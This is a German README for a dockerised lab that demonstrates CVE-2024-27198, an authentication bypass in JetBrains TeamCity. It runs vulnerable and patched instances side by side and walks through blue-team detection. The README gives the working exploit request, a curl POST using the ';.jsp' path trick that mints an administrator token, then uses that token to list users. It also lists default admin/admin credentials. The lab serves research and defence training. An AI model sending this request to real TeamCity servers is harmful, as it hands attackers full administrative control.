# Labor für CVE-2024-27198
Labor für Schwachstellenforschung und Purple-Team-Demonstration zur Authentifizierungsumgehung in JetBrains TeamCity (CVE-2024-27198)
TeamCity stellt eine nur für Administratoren zugängliche Seite für die Token-Verwaltung bereit, die nicht durch Authentifizierung geschützt ist. Dadurch kann ein nicht authentifizierter Benutzer ein Zugriffstoken für den Administrator-Benutzer generieren, sofern er die ID eines vorhandenen Benutzers ermitteln kann.
Dieses Repository enthält ein vollständig reproduzierbares, dockerisiertes Lab mit sowohl einer verwundbaren (:8111) als auch einer gepatchten (:8112) TeamCity-Umgebung, automatisierten Exploit-Skripten (exploit.py), Blue-Team-Walkthroughs zur Log-Suche und einem Live-SIEM-Ereignissimulator (siem_simulator.py).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Die Schwachstelle liegt im Routing-Mechanismus der REST-API. Durch das Anhängen bestimmter Zeichen (wie ?jsp=/app/rest/...;.jsp) an einen nicht authentifizierten Endpunkt können Angreifer den TeamCity-Webserver dazu bringen, die Anfrage an einen authentifizierten Endpunkt weiterzuleiten und dabei die Sicherheitsfilter zu umgehen. Dies erfordert keinerlei Vorwissen oder Zugriff, was sie zu einer reinen 9.8-CVSS macht.
Um eine lokale Kopie dieses Labs einzurichten und zum Laufen zu bringen, folgen Sie diesen einfachen Beispielschritten.
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
Benutzername:
admin
Passwort:
admin
GET-Anfrage für eine Ressource ohne Authentifizierung:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Beide sollten einen Fehler mit dem Statuscode 401 zurückgeben.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Dies sollte ein Token wie dieses zurückgeben (das Token ist jedes Mal anders):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Dies sollte einen Fehler mit dem Statuscode 401 zurückgeben, da die gepatchte Instanz die Schwachstelle nicht aufweist.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Sollte die Liste der Benutzer zurückgeben.
Während der Demonstration im Lab können Sie einen massiven Blue-Team-Fund zeigen: Standardmäßig ist diese Schwachstelle unglaublich stealthy!
;.jsp-HTTP-Anfragen nicht protokolliert werden.Wie können wir sie also erkennen? Wenn der Angreifer seine Spuren beseitigt! Wenn der Angreifer seinen bösartigen Token löscht, um sich zu verstecken, protokolliert TeamCity dies.
Finden Sie den Angreifer, der seine Spuren in den Audit-Logs verwischt:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Sie sehen einen Log-Eintrag, der anzeigt, dass das „REDTEAM“-Token gelöscht wurde).